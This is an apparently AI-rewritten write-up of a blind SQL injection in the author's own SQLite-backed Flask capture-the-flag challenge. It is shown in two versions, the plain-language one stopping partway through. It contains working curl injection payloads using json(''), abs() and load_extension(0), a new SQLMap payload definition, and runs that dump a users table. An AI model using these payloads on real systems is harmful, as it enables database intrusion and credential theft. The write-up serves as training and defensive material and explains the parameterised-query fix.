Skip to content
SQL injection Write-up Intermediate

Implement a Blind Error-Based SQLMap payload for SQLite

soka Follow

Published on sokarepo.github.io

Back to 2019, my first HackTheBox box Intense was released with several steps involved:

soka, on sokarepo.github.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

Context

In 2019 I released a HackTheBox box called Intense. It involved several steps:

  • exploit a SQL injection for SQLite DBMS on the web application
  • use a hash length extension attack to log in as admin on the web application
  • leak the SNMP config through a file disclosure to get a shell on the underlying server
  • exploit an ELF binary to gain root access to the box

This post is not a write-up of the box. It focuses on the SQL injection part and on how to create new SQLMap payloads easily.

The vulnerable feature is a message submission endpoint in a Flask application. It takes a message form field, inserts it into a messages table, and returns OK on success or the SQLite error string on failure:

Python
@app.route("/submitmessage", methods=["POST"])
def submitmessage():
    message = request.form.get("message", '')
    if len(message) > 140:
        return "message too long"
    if badword_in_str(message):
        return "forbidden word in message"
    # insert new message in DB
    try:
        query_db("insert into messages values ('%s')" % message)
    except sqlite3.Error as e:
        return str(e)
    return "OK"

When I created the challenge I wanted the injection not to be trivial, so that people would have to think about a new payload. SQLMap does not work out of the box because its payloads are quite long. The 140 character limit was intended to restrict users to time-based SQL injection. It did not work. For the tests below I removed the length check to help SQLMap.

Setup

The target is the Flask application listening on http://[redacted]:5000, with the message POST parameter as the injection point. The tools are SQLMap (the run below reports version [redacted]#dev) and the sqlite3 interpreter on my Linux system, used to test candidate functions locally before sending them to the application.

Finding it

Running SQLMap against the endpoint with a high level and risk identifies a time-based blind injection:

Bash
> python sqlmap.py -u http://[redacted]:5000/submitmessage --data 'message=a' -p 'message' --dbms=sqlite --level 5 --risk 3
        ___
       __H__
 ___ ___["]_____ ___ ___  {[redacted]#dev}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:10:17 /2023-08-24/

[13:10:17] [INFO] testing connection to the target URL
[13:10:17] [INFO] checking if the target is protected by some kind of WAF/IPS
[13:10:17] [INFO] testing if the target URL content is stable
[13:10:18] [INFO] target URL content is stable
[13:10:18] [WARNING] heuristic (basic) test shows that POST parameter 'message' might not be injectable
[13:10:18] [INFO] testing for SQL injection on POST parameter 'message'
[13:10:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:10:18] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[13:10:18] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[...]
[13:10:31] [INFO] POST parameter 'message' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
[...]

SQL injections in an INSERT clause are often error-based, but to my knowledge there is no SQLite function, by default, that leaks raw information through an exception or error. The application does return the exception text, so the response body is a usable channel: a successful insert returns OK, and an error returns the SQLite error message.

Bash
> curl http://[redacted]:5000/submitmessage --data "message="
OK%

> curl http://[redacted]:5000/submitmessage --data "message='"
unrecognized token: "''') "%

Basic blind SQL payloads do not work here, because both branches produce a successful insert and therefore the same OK response:

> curl http://[redacted]:5000/submitmessage --data "message=aaaa' and 1=1 and 'a'='a"
OK%

> curl http://[redacted]:5000/submitmessage --data "message=aaaa' and 1=2 and 'a'='a"
OK%

The approach is to find a SQLite function that triggers one of two behaviours:

  • the server returns the error in the header or body of the page
  • the server returns an HTTP 500 status code

The core of the injection looks like this:

' and case when 1=2 then 1 else function_to_find(xxx) end and 'a'='a -> ERROR

When the condition is false, the else branch evaluates the chosen function and raises an error; when it is true, the expression evaluates to 1 and the insert succeeds.

Exploitation

Step 1: look for a function that raises an error

I used two things: the SQLite documentation and the sqlite3 interpreter on my system. The documentation lists the core functions. The idea is to look for functions or clauses that compute integers and are "logic vulnerable":

  • pow and exp may create an integer overflow
  • division by zero may create an error

Trying them in the interpreter shows that none of them raise an error:

sqlite> select pow(999999,999999999999);
Inf
sqlite> select exp(99999999);
Inf
sqlite> select 1/0;

sqlite>

A solution is to go through every function and check what the documentation says, or to search the documentation with CTRL+F for keywords such as error, exception or raise.

Step 2: the load_extension function

Four years ago I came up with load_extension(), which loads a library (.so, .dll) from disk. Loading extensions is disabled by default and the function throws an error. In the interpreter:

sqlite> select load_extension(0);
Runtime error: 0.so: cannot open shared object file: No such file or directory

On the application:

Bash
> curl http://[redacted]:5000/submitmessage --data "message=aaaa' and load_extension(0) and 'a'='a"
not authorized%

Step 3: shorter functions from the documentation

Looking back at the documentation to find other functions and shorten the payload, I noticed two candidates.

In the math functions section, the abs function raises an integer overflow error if the integer argument is equal to -9223372036854775808:

sqlite> select abs(-9223372036854775808);
Runtime error: integer overflow

In the JSON section, every JSON function raises an error if the text value is not a well-formed JSON object, which is quite similar to the UPDATEXML or EXTRACTVALUE MySQL functions:

sqlite> select json('');
Runtime error: malformed JSON

Comparing the lengths:

Function Length
load_extension(0) 17
abs(-9223372036854775808) 25
json('') 8

load_extension or abs would work, but the json function is the shortest. The payload is:

' and case when 1=2 then 1 else json('') end and 'a'='a

And the result, with the true condition returning OK and the false condition returning the error:

Bash
> curl http://[redacted]:5000/submitmessage --data "message=' and case when 1=1 then 1 else json('') end and 'a'='a"
OK%

> curl http://[redacted]:5000/submitmessage --data "message=' and case when 1=2 then 1 else json('') end and 'a'='a"
malformed JSON%

Step 4: implement the payload in SQLMap

With a working and efficient payload, it can be added to SQLMap. Clone the repository and enter it:

Bash
> git clone https://github.com/sqlmapproject/sqlmap
> cd sqlmap

Add the following at the end of the file data/xml/payloads/boolean_blind.xml:

XML
<test>
    <title>SQLite boolean-based blind</title>
    <stype>1</stype> <!-- Injection type (Boolean, Error-based, ...) -->
    <level>1</level> <!-- When the test should be performed (1=Always) -->
    <risk>1</risk> <!-- Damage risk of the payload -->
    <clause>1</clause> <!-- Clause to inject (WHERE, GROUP BY, ...) -->
    <where>1</where> <!-- Where the payload should be inserted -->
    <!-- [INFERENCE] SQLMap will insert the payload to extract data -->
    <vector>AND CASE WHEN [INFERENCE] THEN 1 ELSE json('') END </vector>
    <request>
    <!-- Check for the vuln, should return 1 -->
        <payload>AND CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE json('') END</payload>
    </request>
    <response>
        <!-- 2nd check for the vuln, should raise the error -->
        <comparison>AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE json('') END</comparison>
    </response>
    <details>
        <dbms>SQLite</dbms>
    </details>
</test>

The vector is the template SQLMap fills with its inference expression to extract data. The request payload is the first check, where the condition is always true and the response should be the normal one. The response comparison is the second check, where the condition is false and the error should be raised. The details block restricts the test to SQLite.

Running SQLMap again, it finds the injection:

Bash
> python sqlmap.py -u http://[redacted]:5000/submitmessage --data 'message=a' -p 'message' --dbms=sqlite

[...]

[13:18:56] [INFO] testing connection to the target URL
[13:18:56] [INFO] testing if the target URL content is stable
[13:18:56] [INFO] target URL content is stable
[13:18:56] [WARNING] heuristic (basic) test shows that POST parameter 'message' might not be injectable
[13:18:56] [INFO] testing for SQL injection on POST parameter 'message'
[13:18:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:18:56] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[13:18:56] [INFO] testing 'Generic inline queries'
[13:18:56] [INFO] testing 'SQLite boolean-based blind'
[13:18:57] [INFO] POST parameter 'message' appears to be 'SQLite boolean-based blind' injectable
for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (1) and risk (1) values? [Y/n] n
[13:19:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:19:02] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:19:02] [INFO] checking if the injection point on POST parameter 'message' is a false positive
POST parameter 'message' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: message (POST)
    Type: boolean-based blind
    Title: SQLite boolean-based blind
    Payload: message=a' AND CASE WHEN 6418=6418 THEN 1 ELSE json('') END AND 'EDIB'='EDIB

Because the new payload with the json function is shorter than my initial load_extension method, the length check in app.py can be put back and it still works.

Step 5: enumerate tables

Bash
> python sqlmap.py -u http://[redacted]:5000/submitmessage --data 'message=a' -p 'message' --dbms=sqlite --tables

[...]

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: message (POST)
    Type: boolean-based blind
    Title: SQLite boolean-based blind
    Payload: message=a' AND CASE WHEN 6418=6418 THEN 1 ELSE json('') END AND 'EDIB'='EDIB
---
[13:20:44] [INFO] testing SQLite
[13:20:44] [INFO] confirming SQLite
[13:20:44] [INFO] actively fingerprinting SQLite
[13:20:44] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[13:20:44] [INFO] fetching tables for database: 'SQLite_masterdb'
[13:20:44] [INFO] fetching number of tables for database 'SQLite_masterdb'
[13:20:44] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[13:20:44] [INFO] retrieved: 2
[13:20:44] [INFO] retrieved: users
[13:20:44] [INFO] retrieved: messages
<current>
[2 tables]
+----------+
| messages |
| users    |
+----------+

Step 6: dump the users table

Bash
> python sqlmap.py -u http://[redacted]:5000/submitmessage --data 'message=a' -p 'message' --dbms=sqlite -T users --dump

[...]

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: message (POST)
    Type: boolean-based blind
    Title: SQLite boolean-based blind
    Payload: message=a' AND CASE WHEN 6418=6418 THEN 1 ELSE json('') END AND 'EDIB'='EDIB
---

[...]

[13:21:04] [INFO] retrieved: CREATE TABLE users(username varchar(20), secret varchar(200), role INT)
[13:21:06] [INFO] fetching entries for table 'users'
[13:21:06] [INFO] fetching number of entries for table 'users' in database 'SQLite_masterdb'
[13:21:06] [INFO] retrieved: 2
[13:21:06] [INFO] retrieved: 1
[13:21:06] [INFO] retrieved: [redacted]
[13:21:07] [INFO] retrieved: admin
[13:21:07] [INFO] retrieved: 0
[13:21:07] [INFO] retrieved: [redacted]
[13:21:08] [INFO] retrieved: guest
[13:21:08] [INFO] recognized possible password hashes in column 'secret'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: <current>
Table: users
[2 entries]
+------+------------------------------------------------------------------+----------+
| role | secret                                                           | username |
+------+------------------------------------------------------------------+----------+
| 1    | [redacted] | admin    |
| 0    | [redacted] | guest    |
+------+------------------------------------------------------------------+----------+

The pull request adding the payload is Add SQLite AND boolean-based blind payload.

Root cause

The application builds the INSERT statement by string formatting the user-controlled message value into the query, with no parameter binding:

Python
query_db("insert into messages values ('%s')" % message)

A single quote in the message therefore ends the string literal and lets the rest of the value be parsed as SQL. The exception handler then returns str(e) to the client, which turns any SQLite error into an observable signal. That is what makes the boolean-based blind technique possible: the injected CASE expression chooses between a value that inserts normally and a call to json('') that raises malformed JSON, and the difference is visible in the response body.

The 140 character limit was intended to force time-based techniques. It does not prevent injection; it only constrains payload length, and the json('') payload is short enough to fit under the limit.

Impact

An attacker who can reach the endpoint can use the error signal as a boolean oracle and extract arbitrary data from the database through SQLMap, including table names, schema and row contents. In the demonstration this exposed the users table with usernames, roles and password hashes. The approach is to find a SQLite function that makes the server return the error in the page or return an HTTP 500 status code. The report does not describe any other precondition.

Fix

The report does not describe a fix applied to the application. The change it documents is to SQLMap: the new test was added to data/xml/payloads/boolean_blind.xml and submitted as pull request 5501. For the application itself, the defect is the string-formatted query, and the appropriate fix is to use parameterised statements so that the message value is bound as data rather than parsed as SQL. Returning raw database exception text to the client should also be avoided, since it is the channel this technique relies on.

Variants to test

  • On other SQLite-backed endpoints, try json(''), abs(-9223372036854775808) and load_extension(0) inside a CASE expression. A positive result is a response that differs between the true and false branches, such as an error message or a 500 status.
  • The report compares the JSON error behaviour to the UPDATEXML or EXTRACTVALUE MySQL functions. A positive result is an XML parsing error returned in the response.
  • Where a length limit blocks longer payloads, compare candidate functions by length as done here and pick the shortest that still raises an error. A positive result is a payload that fits the limit and still produces the error branch.
  • Where the application suppresses error text, check whether the error still changes the status code or the response length. A positive result is a consistent difference between the two branches that SQLMap can use as a comparison.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

What happened, in plain words

In 2019 the author released a practice machine on HackTheBox (a site where people practise breaking into deliberately vulnerable computers) called Intense. Getting all the way through it involved four separate steps:

  • exploit a SQL injection for SQLite DBMS on the web application
  • use a hash length extension attack to log in as admin on the web application
  • leak the SNMP config through a file disclosure to get a shell on the underlying server
  • exploit an ELF binary to gain root access to the box

This post is not a walkthrough of the whole machine. It zooms in on the first step, the SQL injection, and on a second, related question: how do you teach an automatic attack tool called SQLMap a new trick it does not know yet?

A few words before we start, because the rest of the article leans on them.

A web application is a program that runs on a server and that you talk to through your browser. You send it a request (for example, a form you fill in), it does something with the data, and it sends a response back.

A database is an organised store of data, like a very strict spreadsheet. The application keeps its users, messages and so on in tables inside it. SQLite is one particular database program: a small, file-based one that is very common in web applications because it needs no separate server.

SQL is the language used to talk to such a database. A typical instruction is insert into messages values ('hello'), which adds a row containing the text hello to a table called messages.

A SQL injection is what happens when a web application glues text you typed directly into a SQL instruction, without separating "your data" from "the instruction". If you type a single quote, you can end the text the application intended and start writing SQL of your own. It is like a form that asks for your name and then prints "Hello, <your name>": if you write a name that itself contains a command, the printer may obey it.

SQLMap is a free tool that automates finding and exploiting SQL injections. It fires many prepared test payloads at a parameter and watches the responses to work out whether the parameter is injectable and, if so, what data it can pull out.

A payload here means the exact piece of text that gets injected. SQLMap ships with a library of them, and the whole point of this article is to add one more.

The vulnerable feature is a message submission endpoint in a Flask application. Flask is a small framework for building web applications in the Python language. An endpoint is one specific address (URL) plus method that the application answers, in this case the address /submitmessage accepting a form submission. It takes a message form field, inserts it into a messages table, and returns OK on success or the SQLite error string on failure:

Python
@app.route("/submitmessage", methods=["POST"])
def submitmessage():
    message = request.form.get("message", '')
    if len(message) > 140:
        return "message too long"
    if badword_in_str(message):
        return "forbidden word in message"
    # insert new message in DB
    try:
        query_db("insert into messages values ('%s')" % message)
    except sqlite3.Error as e:
        return str(e)
    return "OK"

Line by line:

  • @app.route("/submitmessage", methods=["POST"]) tells Flask: when a browser sends a POST request (a form submission, as opposed to simply loading a page) to /submitmessage, run the function below.
  • def submitmessage(): starts that function.
  • message = request.form.get("message", '') reads the value of the form field named message. If the field is missing, it uses an empty string.
  • if len(message) > 140: checks the length. If the message is longer than 140 characters, the next line returns message too long and nothing else happens.
  • if badword_in_str(message): runs a helper that looks for forbidden words. If one is found, it returns forbidden word in message.
  • try: begins a block where errors are caught rather than crashing the application.
  • query_db("insert into messages values ('%s')" % message) is the heart of the problem. The %s is replaced by whatever the user typed, inside single quotes, and the result is handed to the database as a complete instruction. The user's text is not treated as data; it becomes part of the instruction.
  • except sqlite3.Error as e: catches any database error.
  • return str(e) sends the error text back to the browser. This is the detail that makes the whole attack possible later.
  • return "OK" is what the browser sees when the insert worked.

When I created the challenge I wanted the injection not to be trivial, so that people would have to think about a new payload. SQLMap does not work out of the box because its payloads are quite long. The 140 character limit was intended to restrict users to time-based SQL injection. It did not work. For the tests below I removed the length check to help SQLMap.

A time-based injection is a technique where the attacker cannot see any data in the response, so instead they make the database pause for a few seconds when a condition is true. If the page takes longer to answer, the condition was true. It works, but it is slow, and it needs long payloads.

Setup

The target is the Flask application listening on http://[redacted]:5000, with the message POST parameter as the injection point. [redacted] is the address a computer uses to refer to itself, so this is a copy of the application running on the same machine as the tools. The injection point is the specific input the attacker controls, here the message field.

The tools are SQLMap (the run below reports version [redacted]#dev) and the sqlite3 interpreter on my Linux system, used to test candidate functions locally before sending them to the application. The sqlite3 interpreter is a small command-line program where you can type SQL directly and see what the database does, without any web application in the way. That is useful because it lets you try ideas quickly and safely.

Finding it

Running SQLMap against the endpoint with a high level and risk identifies a time-based blind injection:

Bash
> python sqlmap.py -u http://[redacted]:5000/submitmessage --data 'message=a' -p 'message' --dbms=sqlite --level 5 --risk 3
        ___
       __H__
 ___ ___["]_____ ___ ___  {[redacted]#dev}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:10:17 /2023-08-24/

[13:10:17] [INFO] testing connection to the target URL
[13:10:17] [INFO] checking if the target is protected by some kind of WAF/IPS
[13:10:17] [INFO] testing if the target URL content is stable
[13:10:18] [INFO] target URL content is stable
[13:10:18] [WARNING] heuristic (basic) test shows that POST parameter 'message' might not be injectable
[13:10:18] [INFO] testing for SQL injection on POST parameter 'message'
[13:10:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:10:18] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[13:10:18] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[...]
[13:10:31] [INFO] POST parameter 'message' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
[...]

Line by line:

  • python sqlmap.py runs SQLMap, which is a Python program.
  • -u http://[redacted]:5000/submitmessage is the address to attack.
  • --data 'message=a' says the request is a form submission carrying a field called message with the value a. This is the normal, harmless request the tool will start from.
  • -p 'message' tells SQLMap which parameter to test. Without it, the tool would have to guess.
  • --dbms=sqlite says the database is SQLite, so SQLMap can skip tests for other databases.
  • --level 5 --risk 3 asks for the most thorough and most aggressive set of tests. Higher levels mean more requests and more time; higher risk means payloads that are more likely to disturb the target.
  • The banner and the legal disclaimer are printed at start-up.
  • The [INFO] lines are progress messages: connecting, checking for a WAF/IPS (a web application firewall or intrusion prevention system, a filter that tries to block attacks), checking that the page gives a stable response, then trying families of payloads one after another.
  • The [WARNING] line says the basic heuristic test did not find anything obvious. That is normal for a non-trivial injection.
  • The final line is the result: the message parameter looks injectable with a time-based technique.

SQL injections in an INSERT clause are often error-based, but to my knowledge there is no SQLite function, by default, that leaks raw information through an exception or error. An error-based injection is one where the attacker makes the database put data into an error message, so the data comes back in the response. The application does return the exception text, so the response body is a usable channel: a successful insert returns OK, and an error returns the SQLite error message.

Bash
> curl http://[redacted]:5000/submitmessage --data "message="
OK%

> curl http://[redacted]:5000/submitmessage --data "message='"
unrecognized token: "''') "%

curl is a command-line tool for sending HTTP requests, the same kind your browser sends. --data attaches a form field to the request.

  • The first command sends an empty message. The application inserts it and answers OK.
  • The second sends a single quote. That quote closes the text the application had opened, so the rest of the instruction no longer makes sense to SQLite, which complains with unrecognized token. The application catches that error and passes the text back to us.
  • The % at the end is just curl's way of showing that the response ended without a newline.

Basic blind SQL payloads do not work here, because both branches produce a successful insert and therefore the same OK response:

> curl http://[redacted]:5000/submitmessage --data "message=aaaa' and 1=1 and 'a'='a"
OK%

> curl http://[redacted]:5000/submitmessage --data "message=aaaa' and 1=2 and 'a'='a"
OK%

A blind injection is one where the data never appears directly in the response; the attacker can only ask yes/no questions and watch for a difference. Here the classic yes/no trick fails: 1=1 is true and 1=2 is false, but in both cases the insert still succeeds, so both answers are OK. There is nothing to tell the two apart.

The approach is to find a SQLite function that triggers one of two behaviours:

  • the server returns the error in the header or body of the page
  • the server returns an HTTP 500 status code

An HTTP status code is the three-digit number a server sends with every response. 200 means fine, 500 means the server hit an internal error. Either an error message in the page or a 500 gives the attacker a visible difference between "true" and "false".

The core of the injection looks like this:

' and case when 1=2 then 1 else function_to_find(xxx) end and 'a'='a -> ERROR

CASE WHEN ... THEN ... ELSE ... END is SQL's if-then-else. If the condition is true, the expression takes the THEN value; otherwise it takes the ELSE value. Here, when the condition is false, the else branch evaluates the chosen function and raises an error; when it is true, the expression evaluates to 1 and the insert succeeds. So the response tells us which branch ran, and that is the yes/no channel we need.

Exploitation

Step 1: look for a function that raises an error

I used two things: the SQLite documentation and the sqlite3 interpreter on my system. The documentation lists the core functions. The idea is to look for functions or clauses that compute integers and are "logic vulnerable":

  • pow and exp may create an integer overflow
  • division by zero may create an error

An integer overflow is what happens when a calculation produces a number too large for the space reserved for it. Some languages and databases treat that as a fatal error; others quietly return infinity or wrap around.

Trying them in the interpreter shows that none of them raise an error:

sqlite> select pow(999999,999999999999);
Inf
sqlite> select exp(99999999);
Inf
sqlite> select 1/0;

sqlite>
  • pow(999999,999999999999) asks for 999999 raised to a huge power. SQLite answers Inf, meaning infinity, instead of failing.
  • exp(99999999) asks for e raised to a huge power. Same answer, Inf.
  • select 1/0; divides by zero. In many systems that is an error, but here SQLite simply returns nothing.

So none of these give us the error we need. A solution is to go through every function and check what the documentation says, or to search the documentation with CTRL+F for keywords such as error, exception or raise.

Step 2: the load_extension function

Four years ago I came up with load_extension(), which loads a library (.so, .dll) from disk. A library is a file of compiled code that a program can load at runtime to gain extra features. Loading extensions is disabled by default and the function throws an error. In the interpreter:

sqlite> select load_extension(0);
Runtime error: 0.so: cannot open shared object file: No such file or directory
  • load_extension(0) asks SQLite to load a library named 0. Since extensions are disabled, it refuses, and the error text mentions a file 0.so that it could not open. That error is exactly the signal we want.

On the application:

Bash
> curl http://[redacted]:5000/submitmessage --data "message=aaaa' and load_extension(0) and 'a'='a"
not authorized%
  • The message starts with aaaa', which closes the string the application opened, then adds and load_extension(0), then and 'a'='a to keep the rest of the instruction syntactically valid.
  • The application answers not authorized, which is SQLite's way of saying that loading extensions is not permitted. Different text from OK, so we have our visible difference.

Step 3: shorter functions from the documentation

Looking back at the documentation to find other functions and shorten the payload, I noticed two candidates.

In the math functions section, the abs function raises an integer overflow error if the integer argument is equal to -9223372036854775808:

sqlite> select abs(-9223372036854775808);
Runtime error: integer overflow
  • abs normally returns the absolute value of a number, that is, the number without its sign. The smallest possible negative integer has no positive counterpart of the same size, so asking for its absolute value overflows and SQLite raises an error.

In the JSON section, every JSON function raises an error if the text value is not a well-formed JSON object, which is quite similar to the UPDATEXML or EXTRACTVALUE MySQL functions:

sqlite> select json('');
Runtime error: malformed JSON

JSON is a text format for structured data, made of braces, quotes and colons. json('') asks SQLite to parse an empty string as JSON, which is not valid, so it raises malformed JSON. UPDATEXML and EXTRACTVALUE are MySQL functions that behave the same way: feed them something malformed and they complain, and attackers have long used that complaint to smuggle data out.

Comparing the lengths:

Function Length
load_extension(0) 17
abs(-9223372036854775808) 25
json('') 8

load_extension or abs would work, but the json function is the shortest. The payload is:

' and case when 1=2 then 1 else json('') end and 'a'='a

And the result, with the true condition returning OK and the false condition returning the error:

Bash
> curl http://[redacted]:5000/submitmessage --data "message=' and case when 1=1 then 1 else json('') end and 'a'='a"
OK%

> curl http://[redacted]:5000/submitmessage --data "message=' and case when 1=2 then 1 else json('') end and 'a'='a"
malformed JSON%
  • The first request uses 1=1, which is true, so the CASE returns 1, the insert succeeds and we see OK.
  • The second uses 1=2, which is false, so the CASE evaluates json(''), which raises malformed JSON, and that error text comes back to us.

Two clearly different answers for a true and a false question: that is a working boolean-based blind injection.

Step 4: implement the payload in SQLMap

With a working and efficient payload, it can be added to SQLMap. Clone the repository and enter it:

Bash
> git clone https://github.com/sqlmapproject/sqlmap
> cd sqlmap

Git is a tool for downloading and tracking source code. git clone copies a whole project from a server to your machine, and cd moves you into the downloaded folder so the following commands run inside it.

Add the following at the end of the file data/xml/payloads/boolean_blind.xml:

XML
<test>
    <title>SQLite boolean-based blind</title>
    <stype>1</stype> <!-- Injection type (Boolean, Error-based, ...) -->
    <level>1</level> <!-- When the test should be performed (1=Always) -->
    <risk>1</risk> <!-- Damage risk of the payload -->
    <clause>1</clause> <!-- Clause to inject (WHERE, GROUP BY, ...) -->
    <where>1</where> <!-- Where the payload should be inserted -->
    <!-- [INFERENCE] SQLMap will insert the payload to extract data -->
    <vector>AND CASE WHEN [INFERENCE] THEN 1 ELSE json('') END </vector>
    <request>
    <!-- Check for the vuln, should return 1 -->
        <payload>AND CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE json('') END</payload>
    </request>
    <response>
        <!-- 2nd check for the vuln, should raise the error -->
        <comparison>AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE json('') END</comparison>
    </response>
    <details>
        <dbms>SQLite</dbms>
    </details>
</test>

XML is a text format that uses tags in angle brackets to describe structured data. SQLMap reads its payload library from XML files, one file per technique, and boolean_blind.xml is the file for boolean-based blind tests.

Line by line:

  • <test> opens one test definition and </test> closes it.
  • <title>SQLite boolean-based blind</title> is the name SQLMap will print when this test succeeds.
  • <stype>1</stype> says which family of technique this is. The comment notes that 1 means boolean.
  • <level>1</level> says when the test runs. Level 1 means always, so it is tried even with default settings.
  • <risk>1</risk> says how dangerous the test is. Risk 1 is the mildest.
  • <clause>1</clause> says which part of the SQL statement the payload is meant for, such as a WHERE clause.
  • <where>1</where> says where in the request the payload should be inserted.
  • <vector>AND CASE WHEN [INFERENCE] THEN 1 ELSE json('') END </vector> is the template. [INFERENCE] is a placeholder that SQLMap replaces with its own yes/no question when it wants to extract data. The CASE then turns a true answer into a normal insert and a false answer into the malformed JSON error.
  • <request> contains the first check. <payload>AND CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE json('') END</payload> uses two identical random numbers, so the condition is always true and the response should be the normal one. This confirms the payload does not break anything by itself.
  • <response> contains the second check. <comparison>AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE json('') END</comparison> uses two different random numbers, so the condition is false and the error should appear. Comparing the two responses is how SQLMap decides the parameter is injectable.
  • <details> holds extra information, here <dbms>SQLite</dbms>, which restricts the test to SQLite targets.

Running SQLMap again, it finds the injection:

Bash
> python sqlmap.py -u http://[redacted]:5000/submitmessage --data 'message=a' -p 'message' --dbms=sqlite

[...]

[13:18:56] [INFO] testing connection to the target URL
[13:18:56] [INFO] testing if the target URL content is stable
[13:18:56] [INFO] target URL content is stable
[13:18:56] [WARNING] heuristic (basic) test shows that POST parameter 'message' might not be injectable
[13:18:56] [INFO] testing for SQL injection on POST parameter 'message'
[13:18:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:18:56] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[13:18:56] [INFO] testing 'Generic inline queries'
[13:18:56] [INFO] testing 'SQLite boolean-based blind'
[13:18:57] [INFO] POST parameter 'message' appears to be 'SQLite boolean-based blind' injectable
for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (1) and risk (1) values? [Y/n] n
[13:19:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:19:02] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:19:02] [INFO] checking if the injection point on POST parameter 'message' is a false positive
POST parameter 'message' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: message (POST)
    Type: boolean-based blind
    Title: SQLite boolean-based blind
    Payload: message=a' AND CASE WHEN 6418=6418 THEN 1 ELSE json('') END AND 'EDIB'='EDIB
  • The command is the same as before but without --level 5 --risk 3, because the new test runs at level 1 and risk 1.
  • The [INFO] lines show SQLMap walking through its tests. The important one is testing 'SQLite boolean-based blind', which is our new entry.
  • The next line confirms it: the parameter appears injectable with that technique.
  • SQLMap then asks whether to include all SQLite tests beyond the current level and risk. The answer given is n.
  • It tries a UNION test (another technique that combines the results of two queries) and then checks whether the finding is a false positive, that is, whether it might be a coincidence rather than a real injection.
  • It asks whether to keep testing other parameters. The answer is N.
  • The summary shows the parameter, the technique, the title and the exact payload SQLMap used, with its own random numbers 6418 and EDIB filled in.

Because the new payload with the json function is shorter than my initial load_extension method, the length check in app.py can be put back and it still works.

Step 5: enumerate tables

Bash
> python sqlmap.py -u http://[redacted]:5000/submitmessage --data 'message=a' -p 'message' --dbms=sqlite --tables

[...]

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: message (POST)
    Type: boolean-based blind
    Title: SQLite boolean-based blind
    Payload: message=a' AND CASE WHEN 6418=6418 THEN 1 ELSE json('') END AND 'EDIB'='EDIB
---
[13:20:44] [INFO] testing SQLite
[13:20:44] [INFO] confirming SQLite
[13:20:44] [INFO] actively fingerprinting SQLite
[13:20:44] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[13:20:44] [INFO] fetching tables for database: 'SQLite_masterdb'
[13:20:44] [INFO] fetching number of tables for database 'SQLite_masterdb'
[13:20:44] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[13:20:44] [INFO] retrieved: 2
[13:20:44] [INFO] retrieved: users
[13:20:44] [INFO] retrieved: messages
<current>
[2 tables]
+----------+
| messages |
| users    |
+----------+
  • --tables asks SQLMap to list the tables in the database.
  • sqlmap resumed the following injection point(s) from stored session means SQLMap remembered the earlier finding, so it does not have to rediscover it.
  • The fingerprinting lines are SQLMap confirming which database product is on the other side.
  • fetching number of tables and the retrieved: lines show the slow, one-character-at-a-time extraction that a blind technique requires. Each character is one yes/no question.
  • The [WARNING] about single-thread mode is a hint that --threads would speed things up.
  • The final table lists the two tables found: messages and users.

Step 6: dump the users table

Bash
> python sqlmap.py -u http://[redacted]:5000/submitmessage --data 'message=a' -p 'message' --dbms=sqlite -T users --dump

[...]

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: message (POST)
    Type: boolean-based blind
    Title: SQLite boolean-based blind
    Payload: message=a' AND CASE WHEN 6418=6418 THEN 1 ELSE json('') END AND 'EDIB'='EDIB
---

[...]

